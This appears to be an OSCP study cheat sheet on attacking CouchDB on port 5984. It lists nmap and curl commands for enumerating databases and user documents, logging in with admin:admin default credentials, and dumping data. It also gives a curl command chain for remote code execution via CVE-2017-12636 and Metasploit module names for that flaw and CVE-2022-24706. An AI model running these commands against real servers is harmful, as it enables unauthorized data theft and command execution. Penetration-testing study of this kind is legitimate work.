📡

Couchdb (Tcp 5984)

Notes from oscp.adot8.com — services.

#services#adot8

source · oscp.adot8.com · services/couchdb-less-than-tcp-5984-greater-than ↗

CouchDB <tcp 5984>

HTTP + JSON database. "Admin party" mode = anyone is admin.

Nmap

🐺 howlsec@kalicode

01nmap -p5984 --script "couchdb-databases,couchdb-stats" -sV $ip

Fingerprint

🐺 howlsec@kalicode

01curl -s http://$ip:5984/
02curl -s http://$ip:5984/_all_dbs
03curl -s http://$ip:5984/_config          # admin party if 200
04curl -s http://$ip:5984/_users/_all_docs

Auth'd

🐺 howlsec@kalicode

01curl -s http://admin:admin@$ip:5984/_all_dbs

Dump a DB

🐺 howlsec@kalicode

01curl -s http://$ip:5984/mydb/_all_docs?include_docs=true | jq .

RCE — CVE-2017-12636 (config query_server)

🐺 howlsec@kalicode

01curl -X PUT "http://admin:admin@$ip:5984/_config/query_servers/cmd" -d '"id >/tmp/pwn"'
02curl -X PUT "http://admin:admin@$ip:5984/db"
03curl -X PUT "http://admin:admin@$ip:5984/db/pwn" -d '{"_id":"pwn"}'
04curl -X POST "http://admin:admin@$ip:5984/db/_temp_view?language=cmd" -H "Content-Type:application/json" -d '{"map":""}'

Metasploit: exploit/linux/http/apache_couchdb_cmd_exec.

RCE — CVE-2022-24706 (default Erlang cookie)

🐺 howlsec@kalicode

01use exploit/multi/http/apache_couchdb_erlang_rce